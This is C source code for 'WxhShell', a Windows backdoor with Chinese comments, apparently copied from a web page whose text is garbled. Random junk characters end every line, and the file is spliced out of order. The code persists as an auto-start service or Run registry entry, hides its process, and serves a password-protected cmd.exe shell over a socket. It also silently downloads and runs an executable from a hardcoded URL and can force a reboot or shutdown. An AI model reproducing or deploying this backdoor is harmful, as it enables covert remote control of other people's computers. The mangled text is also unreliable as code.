    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~u+9J}  
    else { 5/z/>D;  
    closesocket(wsh); =nHgDrA_  
    ExitThread(0); gPc=2  
    } t&DEb_"De  
    break; jF*j0PkNdb  
    } 29q _BR *:  
  // 获取shell `@|$,2[C  
  case 's': { ^sg,\zD 'X  
    CmdShell(wsh); C"enpc_C/  
    closesocket(wsh); 3oG,E;(  
    ExitThread(0); >yh2Lri  
    break; tklH@'q  
  } ^zgo#J 5O  
  // 退出 /H+a0`/  
  case 'x': { 7v_8_K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M& CqSd  
    CloseIt(wsh); \5cpFj5%  
    break; n{SJ_S#a.a  
    } A. w:h;7  
  // 离开 5E_YEBO/  
  case 'q': { 2dgd~   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !5?<% *  
    closesocket(wsh); *_g$MI  
    WSACleanup(); YT8F#t8  
    exit(1); dnuu&Rv  
    break; ua `RJ  
        } NW)1#]gg%  
  } H7+,*  
  } j 1HW._G  
^y4Z+Gu[  
  // 提示信息 /|&*QLy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kz7(Z'pw  
} Fea(zJ_  
  } /JU.?M35  
IdxzE_@  
  return; w)jISu;RG  
} G<;*SYAb  
S>; 5[l 4  
// shell模块句柄 ;IM}|2zuN  
int CmdShell(SOCKET sock) HLHz2-lI  
{ x3eZ^8^1}  
STARTUPINFO si; f'3$9x  
ZeroMemory(&si,sizeof(si)); VgS_s k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rk)`\=No  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dcWD(-  
PROCESS_INFORMATION ProcessInfo; y$R_.KbO  
char cmdline[]="cmd"; ##4HYQ%E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t<?,F  
  return 0; )sQ*Rd@t[8  
} -RK- Fu<e  
uhutg,[  
// 自身启动模式 m<2M4u   
int StartFromService(void) BJo*'US-Q  
{ ?5 [=(\/.  
typedef struct W'u>#  
{ jOD?|tK&  
  DWORD ExitStatus; ib791  
  DWORD PebBaseAddress; _2 osV[e  
  DWORD AffinityMask; 5d!-G$ @  
  DWORD BasePriority; yJe>JK~)  
  ULONG UniqueProcessId; ZWp(GC1NA  
  ULONG InheritedFromUniqueProcessId; c-FcEW  
}   PROCESS_BASIC_INFORMATION; t.\dpBq  
8|58 H  
PROCNTQSIP NtQueryInformationProcess; YkQd  
^D-/`d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @2v_pJy^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2gVm9gAHUd  
2SR:FUV/  
  HANDLE             hProcess; 9490o:s  
  PROCESS_BASIC_INFORMATION pbi; )TM4R)r%)9  
i8HTzv"J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Kk(8a&v  
  if(NULL == hInst ) return 0; DrK{}uM  
8BNi1Qn$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I ?.^ho  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }|5Pr(I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fh9h,' V"  
^@NU}S):yN  
  if (!NtQueryInformationProcess) return 0; pIKPXqA  
4x[S\,20  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 07=mj%yV  
  if(!hProcess) return 0; t}/( b/VD  
x `)&J B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =kG@a(-  
Q>1[JW{$}  
  CloseHandle(hProcess); r1RM  
5bpEYW+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R<N ]B  
if(hProcess==NULL) return 0; |*tp16+6  
k~ /Nv=D  
HMODULE hMod; ( Px OE  
char procName[255]; FH+s s!  
unsigned long cbNeeded; \v)+.m?n  
gCY';\f!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rr|VD@%  
TBU&6M>{3  
  CloseHandle(hProcess); %z 4Nl$\  
c=.(!qdH  
if(strstr(procName,"services")) return 1; // 以服务启动 l0A&9g*l2  
QGmn#]w\\  
  return 0; // 注册表启动 p0<\G  
} <B8!.|19  
0b(N^$js'  
// 主模块 K:30_l<  
int StartWxhshell(LPSTR lpCmdLine) e'D&8z_;  
{ I"7u2"@-8j  
  SOCKET wsl; bhlG,NTP  
BOOL val=TRUE;  l"]}Ts#  
  int port=0; P3 ^Y"Pv?  
  struct sockaddr_in door; p,i[W.dy.'  
jPW#(3hoE  
  if(wscfg.ws_autoins) Install(); d)f :)Ew  
[RTs[3E^  
port=atoi(lpCmdLine); @@ %.t|=  
Aj+F |l  
if(port<=0) port=wscfg.ws_port; 1 Nd2{(  
7g}w+p>  
  WSADATA data; gQ1;],_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (mtk 4  
_MX>#!l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .];=Pu^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (n9g kO&8"  
  door.sin_family = AF_INET; `~CQU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 03S]8l  
  door.sin_port = htons(port); HBx=\%;n  
Z^MNf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !^Y(^RS@  
closesocket(wsl); 6MdiY1Lr!K  
return 1; 0T5L_%c  
} U H/\  
,f;}|d:r  
  if(listen(wsl,2) == INVALID_SOCKET) { 2Dj%,gaR  
closesocket(wsl); ~|xA4u5LG  
return 1; yhA6i  
} M%;hB*9  
  Wxhshell(wsl); H-fX(9  
  WSACleanup(); 3]3|  
v9O~@v{=  
return 0; Q%mB |i|  
gn".u!9j  
} m<"WDU?y;  
HYSIN^<oy  
// 以NT服务方式启动 tr}Loq\y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mZ"4&U  
{ `t'W2X  
DWORD   status = 0; { W{]L:  
  DWORD   specificError = 0xfffffff;  0$fpIz  
N `F~n%N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7X'u6$i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XaPV9 4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >y:,9;  
  serviceStatus.dwWin32ExitCode     = 0; l u%}h7ng  
  serviceStatus.dwServiceSpecificExitCode = 0; 9kS^Abtk  
  serviceStatus.dwCheckPoint       = 0; &t:Gx<]  
  serviceStatus.dwWaitHint       = 0; FNY8tv*/x  
b9<#K+L-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $F+ LDs  
  if (hServiceStatusHandle==0) return; |f_[\&<*  
A*P|e-&Q8  
status = GetLastError(); t+T4-1 3a  
  if (status!=NO_ERROR)  dZ0vA\z|  
{ s 3f-7f<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o;<Xo&  
    serviceStatus.dwCheckPoint       = 0; mg.kr:  
    serviceStatus.dwWaitHint       = 0; DG ;_Vg  
    serviceStatus.dwWin32ExitCode     = status; /F'sb[  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ Kncvu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ktBj|-'>  
    return; ZO$m["|  
  } 91-o}|3v  
7f!YoW;1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^mO~ W!"  
  serviceStatus.dwCheckPoint       = 0; V"G*N<q  
  serviceStatus.dwWaitHint       = 0; WQL\y3f5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S<@7_I  
} %Ax3;g#  
?FF4zI~  
// 处理NT服务事件,比如:启动、停止 9}F*P669f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e:n<EnT  
{ T@&K- UQ  
switch(fdwControl) OO*zhGD;[  
{ d,Yw5$i  
case SERVICE_CONTROL_STOP: P&ptJtNg  
  serviceStatus.dwWin32ExitCode = 0; RM]M@%,K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jx](G>F4f1  
  serviceStatus.dwCheckPoint   = 0; yS(fILV  
  serviceStatus.dwWaitHint     = 0; 8sM|%<$=j  
  { EL 8<U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l@+7:n4K0  
  } z Q`jP$2  
  return; sjwo/+2  
case SERVICE_CONTROL_PAUSE: 9s$CA4?HP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f"SD/]q-  
  break; m\r@@!  
case SERVICE_CONTROL_CONTINUE: ![_*(8v}S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \T:i{.i  
  break; BB*f4z$Y%  
case SERVICE_CONTROL_INTERROGATE: ~8P!XAU56%  
  break; z(Pe,zES  
}; .e=:RkI,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p,>5\Zre~  
} L`p4->C9A  
D rHV G  
// 标准应用程序主函数 a>]uU*Xm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vMt/u?oB  
{ [~#WG/!:  
_R13f@NWB:  
// 获取操作系统版本 Y^7$t^&  
OsIsNt=GetOsVer(); ]X5 9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); au+kNF|Q  
*4+"Lh.KS  
  // 从命令行安装 C=)A6 ;=se  
  if(strpbrk(lpCmdLine,"iI")) Install(); P.;aMRMR  
u:gN?O/G  
  // 下载执行文件  6S*e xw  
if(wscfg.ws_downexe) { ^O<&f D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J|kR5'?x  
  WinExec(wscfg.ws_filenam,SW_HIDE); ()Y4v  
} +)<wDDC_  
wKY Za# u  
if(!OsIsNt) { KB`!Sj\  
// 如果时win9x,隐藏进程并且设置为注册表启动 q6SXWT'Sa  
HideProc(); NS%xTLow-  
StartWxhshell(lpCmdLine); IE&!YP(U(  
} Vp*KfS]  
else F6OpN "UM'  
  if(StartFromService()) uRRQyZ  
  // 以服务方式启动 `V]5sE]G  
  StartServiceCtrlDispatcher(DispatchTable); bE#,=OI$  
else )ufg9"\  
  // 普通方式启动 ICs\ z  
  StartWxhshell(lpCmdLine); %g$V\zmU  
/VS [pXXT|  
return 0; m~P CB_ifW  
} (-xS?8x$  
NI#:|}CYS  
,5kKimTt  
G!W[8UG  
=========================================== =K{"{5Wb  
5eoska#y   
/ !Wu D\B  
I)cFG{~L  
Hh-+/sO~"  
%?uc><&?e  
" ;WM"cJo9  
{VvqO7A  
#include <stdio.h> cU@SIJ)  
#include <string.h> [}/LD3  
#include <windows.h> u7\J\r4,+  
#include <winsock2.h> i2YuOV!  
#include <winsvc.h> Q}K#'Og  
#include <urlmon.h> {QZUDPPR  
z4+k7a@jn  
#pragma comment (lib, "Ws2_32.lib") [16cFqD  
#pragma comment (lib, "urlmon.lib") T:Hr&ws4  
Nz+9 49X  
#define MAX_USER   100 // 最大客户端连接数 %Nhx;{  
#define BUF_SOCK   200 // sock buffer SAK!z!t  
#define KEY_BUFF   255 // 输入 buffer L%K\C  
v<OJ69J  
#define REBOOT     0   // 重启 ,M6 Sy]Aj  
#define SHUTDOWN   1   // 关机 #qI= Z0Y  
(TwnkXrR,  
#define DEF_PORT   5000 // 监听端口 "@d[h,TM  
wsN?[=l{s  
#define REG_LEN     16   // 注册表键长度 /VzI'^  
#define SVC_LEN     80   // NT服务名长度 t!x5fNo)  
y[\VUzD*'  
// 从dll定义API m&\h4$[kql  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2f:Eof(B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }i`PGx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Jx4xpvPo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2?,EzBeal  
"D'B3; uWK  
// wxhshell配置信息 I8/DR z$A  
struct WSCFG { n;U`m$vL%  
  int ws_port;         // 监听端口 Tekfw  
  char ws_passstr[REG_LEN]; // 口令 h0-hT   
  int ws_autoins;       // 安装标记, 1=yes 0=no /D^"X 4!"  
  char ws_regname[REG_LEN]; // 注册表键名 Z@&Dki  
  char ws_svcname[REG_LEN]; // 服务名 Ucm :S-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nwt" \3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bj}^\Pc;}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {>,V\J0p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no + 33@?fl.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Gj8F4{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '|*?*6q  
Yd=a}T  
}; no] z1D  
wUQw!%?>  
// default Wxhshell configuration TJ'[--  
struct WSCFG wscfg={DEF_PORT, +$(2:S*r  
    "xuhuanlingzhe", K+8-9$w6  
    1, Q7C;1aO  
    "Wxhshell", 4*mS y  
    "Wxhshell", 6{+{lBm=y  
            "WxhShell Service", _5m#2u51i  
    "Wrsky Windows CmdShell Service", w'fT=v)  
    "Please Input Your Password: ", DUe&r,(4O  
  1, E)7F\w  
  "http://www.wrsky.com/wxhshell.exe", S:q3QgU=X  
  "Wxhshell.exe" .G(llA}  
    }; f0<%&2ym  
}X_;X_\3;'  
// 消息定义模块 T4 N~(Fi)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R8UYP=Kp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mp?78_I)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3=$q  
char *msg_ws_ext="\n\rExit."; >sjhA|gXk  
char *msg_ws_end="\n\rQuit."; /K{9OT@>  
char *msg_ws_boot="\n\rReboot..."; ""h)LUrl  
char *msg_ws_poff="\n\rShutdown..."; )a3J9a;ZS0  
char *msg_ws_down="\n\rSave to "; ,H2D  
f{i8w!O"~  
char *msg_ws_err="\n\rErr!"; UH>F|3"d  
char *msg_ws_ok="\n\rOK!"; a/U2xq{x  
PN<C=gAe  
char ExeFile[MAX_PATH]; bb`':3%  
int nUser = 0; P<2 +L|X?}  
HANDLE handles[MAX_USER]; |vMpXiMxxT  
int OsIsNt; saAxGG  
 4)4+M  
SERVICE_STATUS       serviceStatus; wwowez tER  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,i6RE  
`^Eae  
// 函数声明 N2$I}q%  
int Install(void); c$`4*6  
int Uninstall(void); 7,MS '2nz  
int DownloadFile(char *sURL, SOCKET wsh); 0lsXCr_X  
int Boot(int flag); ;k86"W  
void HideProc(void); za9)Q=6FD  
int GetOsVer(void); d90Z,nex  
int Wxhshell(SOCKET wsl); ,\d6VBP&  
void TalkWithClient(void *cs); ;v~-'*0  
int CmdShell(SOCKET sock); (N K9vW4F  
int StartFromService(void); 8W+gl=C~  
int StartWxhshell(LPSTR lpCmdLine); JwRF(1_sM  
eo!zW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jWO/ xX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GK}'R=   
<uk1?Q g  
// 数据结构和表定义 {(#%N5%  
SERVICE_TABLE_ENTRY DispatchTable[] = Hb(B?!M)  
{ 16EVl~LN  
{wscfg.ws_svcname, NTServiceMain},  6vTo*8D  
{NULL, NULL} ,prF6*g+WE  
}; "ZHtR/;  
q )lnS )  
// 自我安装 FvuGup`w  
int Install(void) bo=ZM9  
{ !.<T"8BUpv  
  char svExeFile[MAX_PATH]; f8<o8*`7  
  HKEY key; R%H$%cnj  
  strcpy(svExeFile,ExeFile); %F9{EXJy  
o}'bv  
// 如果是win9x系统,修改注册表设为自启动 \cJ-Dd  
if(!OsIsNt) { $]&(7@'qo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L~/qGDXC?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GOB(#vu  
  RegCloseKey(key); 4Kv[e]10(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F;!2(sPS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q U F$@)A  
  RegCloseKey(key); G02m/8g3  
  return 0; }o,z!_^PLQ  
    } +P`(Rf"luu  
  } \#x}q'BC4  
} V*$L;xbC|  
else { !b-bP,q  
Na,_  
// 如果是NT以上系统,安装为系统服务 ` C+HE$B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ixh47M  
if (schSCManager!=0) O0*e)i8  
{ ZRUhAp'<qj  
  SC_HANDLE schService = CreateService ?Jusl8Sm  
  ( wVA|!>v  
  schSCManager, XfzVcap  
  wscfg.ws_svcname, PaCzr5!~f  
  wscfg.ws_svcdisp, jSQ9.%4  
  SERVICE_ALL_ACCESS, 5NXt$k5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qG9+/u)\  
  SERVICE_AUTO_START, F{\gc|!i  
  SERVICE_ERROR_NORMAL, 0ZPV' `KGp  
  svExeFile, 9kY[j2,+  
  NULL, 8g7,2f/ }  
  NULL, 0-3rQ~u  
  NULL, )W&>[B  
  NULL, Qc{RaMwD  
  NULL 1GE|Wd  
  ); Q1&P@Io$  
  if (schService!=0) +>g`m)?p  
  { =KX<_;E  
  CloseServiceHandle(schService); =]Hs|{  
  CloseServiceHandle(schSCManager); }98>5%Uv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); agOk*wH5  
  strcat(svExeFile,wscfg.ws_svcname); i!dv0|_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \H5Jk$*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *sfD#Bi]  
  RegCloseKey(key); N<_Ko+VF  
  return 0; ` e{BId  
    } B7-RU<n  
  } 9f}XRz  
  CloseServiceHandle(schSCManager); )06iV  
} "n\%_'R\hH  
} E)t  
4R) |->"  
return 1; <3O T>E[  
} "!Rw)=7O  
IdRdW{o  
// 自我卸载 FF Gqa&  
int Uninstall(void) nyT[^n  
{ EkKnUD  
  HKEY key; _#qe#  
I(n* _bFq  
if(!OsIsNt) { re,.@${H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a%J6f$A#  
  RegDeleteValue(key,wscfg.ws_regname); vU/ D7  
  RegCloseKey(key); FX,$_:f6Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _8h8Wtif  
  RegDeleteValue(key,wscfg.ws_regname); bn 4 &O  
  RegCloseKey(key); 8]0:1 {@  
  return 0; qGPb  
  } %bX0 mN  
} "t&{yBQ0u  
} KLt %[$CTi  
else {  i j&p4  
tnW;E\cR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VKLU0*2R  
if (schSCManager!=0) ~j,TVY  
{ C'9 1d7E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +3bfD  
  if (schService!=0) Ha ZFxh-(  
  { bEr.nF  
  if(DeleteService(schService)!=0) { %f[Ep 3D  
  CloseServiceHandle(schService); D?+ RJs  
  CloseServiceHandle(schSCManager); >4![&&  
  return 0; /?zW<QUI  
  } j+748QAhh  
  CloseServiceHandle(schService); bGh0<r7R  
  } %7`d/dgR  
  CloseServiceHandle(schSCManager); Wm6dQQ;Bj  
} iWXMKu  
} ^w6eWzI  
5urE  
return 1; sdF3cX  
} 2Yyb#Ow  
WhUa^  
// 从指定url下载文件 5(}H ?  
int DownloadFile(char *sURL, SOCKET wsh) d7bjbJwu  
{ = ?N^>zie  
  HRESULT hr; D$_8rHc\A  
char seps[]= "/"; &R\XUxI  
char *token; ehc<|O9tY  
char *file; @&/\r 7 '  
char myURL[MAX_PATH]; ?2~U2Ir]:  
char myFILE[MAX_PATH]; ] EyeBF)$  
NFoZ4R1gy  
strcpy(myURL,sURL); cy:;)E>/  
  token=strtok(myURL,seps); 8 G?b.NE^  
  while(token!=NULL) V}`M<A6:  
  { @]3*B %t  
    file=token; C/+nSe.  
  token=strtok(NULL,seps); 7L{li-crI  
  } p6blD-v  
\3 KfD'L  
GetCurrentDirectory(MAX_PATH,myFILE); 2v|qLf e1  
strcat(myFILE, "\\"); rZ866\0  
strcat(myFILE, file); Kpu<rKP`  
  send(wsh,myFILE,strlen(myFILE),0); 4ROWz  
send(wsh,"...",3,0); (/q}mB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t+}uIp42<  
  if(hr==S_OK) aVK()1v]  
return 0; [>uwk``_  
else 5~yb ~0  
return 1; Fi{mr*}  
]]V^:"ne  
} .xv ^G?GG  
Z)v)\l9d  
// 系统电源模块 0P:F97"1,  
int Boot(int flag) {dZ8;Fy4  
{ 9XN~Ln@}  
  HANDLE hToken; 2<.Vv\ =  
  TOKEN_PRIVILEGES tkp; 2?*1~ 5~I  
KS>Fl->  
  if(OsIsNt) { 2wOy}:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I;iR(Hf)?q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xhD$e= g  
    tkp.PrivilegeCount = 1; ?HxS)Pqq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [xS5z1;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JE%i-UVH+;  
if(flag==REBOOT) { l_sg)Vr/b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LsotgQ8   
  return 0; >\-3P $  
} Hrv),Ce  
else { wL|7mMM,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zuj;T,R;  
  return 0; I! ITM<Z$l  
} &.*T\3UO  
  } <\xQ7|e  
  else { @{de$ ODu  
if(flag==REBOOT) { \1khyF'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]*h&hsS 0  
  return 0; |x[$3R1@  
} `QAh5r"  
else { HU.1":.;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <lX:eR1  
  return 0; L3' \r  
} j<|6s,&  
} = tP$re";o  
I1J)#p%H.  
return 1; .i\wE@v  
} 1#kawU6[]  
%[+/>e/m  
// win9x进程隐藏模块 S&`O\!NF  
void HideProc(void) -&~IOqlui  
{ gNi}EP5>  
:Q#H(\26r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Em-.%c  
  if ( hKernel != NULL ) DwC@"i.  
  { iqlVlm>E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IM|Se4;x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J4&XPr9  
    FreeLibrary(hKernel); -q|*M:R  
  } i&B?4J)  
zVn*!c  
return; GHqBnE{B  
} vzQyE0T/  
@Yb Z 8Uc  
// 获取操作系统版本 Wpa$B )xg  
int GetOsVer(void) EsNk<Ra  
{ rGAFp,}-f  
  OSVERSIONINFO winfo; ]s}aC9I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >pJ6{Ip  
  GetVersionEx(&winfo); cEtZ}2,j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?RqTbT@~  
  return 1; aq$62>[  
  else :0|Hcg  
  return 0; u<J2p?`\&`  
} QDl)92z  
ge@reGfsB1  
// 客户端句柄模块 'II vub#q  
int Wxhshell(SOCKET wsl) ^$ZI>L0+  
{ P|yGx)'^P  
  SOCKET wsh; +,:nm_kQU  
  struct sockaddr_in client; d"Ml^rAn  
  DWORD myID; )62q|c9F  
eF*TLI<[^I  
  while(nUser<MAX_USER) qL u8!|QT  
{ 8p3ZF@c~ t  
  int nSize=sizeof(client); Rqt[D @;m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ejDCmD  
  if(wsh==INVALID_SOCKET) return 1; wZ}n3R,   
Pi^ECSzQu[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `8qT['`#R  
if(handles[nUser]==0) 20S9/9ll  
  closesocket(wsh); ;N9n'Sq4  
else I}I}K~se*  
  nUser++; @)S sKk|  
  } 7v.#o4nPK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D6"~fjHh  
[+Yl;3 &]  
  return 0; (bM)Nd  
} (0Zrfu^  
`,hW;p>-  
// 关闭 socket 5>0\e_V  
void CloseIt(SOCKET wsh) 0]/,m4a#n  
{ gizmJ:<  
closesocket(wsh); &T5f H!?4  
nUser--; []sB^UT  
ExitThread(0); s,{RP0|  
} Y8{T.\%\+  
_m) gO/02A  
// 客户端请求句柄 h0&>GY;i  
void TalkWithClient(void *cs) I%.jc2kK  
{ )ylv(qgV  
r|u6OF>  
  SOCKET wsh=(SOCKET)cs; A} x_zt  
  char pwd[SVC_LEN]; |8&\N  
  char cmd[KEY_BUFF]; qBf wN1  
char chr[1]; )F=JkG  
int i,j; 1 P(&GYc  
Vq?8u/  
  while (nUser < MAX_USER) { H'j_<R N  
401/33yBJ  
if(wscfg.ws_passstr) { }L{_xyi>#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y#Sd2h,^X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .rD#1)O  
  //ZeroMemory(pwd,KEY_BUFF); |*/uN~[  
      i=0; w%%6[<3%  
  while(i<SVC_LEN) { wC4AVJJ^>  
VPq5xSc?  
  // 设置超时 {66Q" H"I  
  fd_set FdRead; @1`W<WP  
  struct timeval TimeOut; jpPdjQ  
  FD_ZERO(&FdRead); )VV4HoH]8  
  FD_SET(wsh,&FdRead); J7 Oa})-+'  
  TimeOut.tv_sec=8; \Nh^Ig   
  TimeOut.tv_usec=0; 4w?]dDyc%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E.WNykF-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $\JQGic`  
T7WZ(y 3C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dvrvpDoE.  
  pwd=chr[0]; w|K(>5nz  
  if(chr[0]==0xd || chr[0]==0xa) { f0N)N}y  
  pwd=0; CBz(hCaI  
  break; :_I wc=  
  } a{%52B"  
  i++; "'&>g4F`o  
    } d=c1WK  
y5Z<uwXc  
  // 如果是非法用户,关闭 socket wj";hAw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _dJVnC1 !  
} o0-fUCmC  
eKU@>5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,/[dmoe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /o}0oo5B  
ozxK?AMgG  
while(1) { b'Piymx  
b@Mng6R  
  ZeroMemory(cmd,KEY_BUFF); zd*W5~xKg  
nJM9c[Ou^H  
      // 自动支持客户端 telnet标准   f6aT[Nw<  
  j=0; 56j/w[&8  
  while(j<KEY_BUFF) { OJC*|kN-#^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E-7a`S  
  cmd[j]=chr[0]; D,m&^P=%e  
  if(chr[0]==0xa || chr[0]==0xd) { X<@y*?D9D  
  cmd[j]=0; ki][qvXJ  
  break; >8Yrmq  
  } jP6oJcZ  
  j++; VK@i#/jm  
    } k:HSB</}  
ys"mP* wD  
  // 下载文件 \8@[bpI@g  
  if(strstr(cmd,"http://")) { ;?Y` e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NIXcib"tG  
  if(DownloadFile(cmd,wsh)) n<Xm%KH.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]J"+VZ_"I  
  else *9U4^lJjn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .AmM%I4K  
  } 8d*<Aki?;  
  else { KWuj_.;  
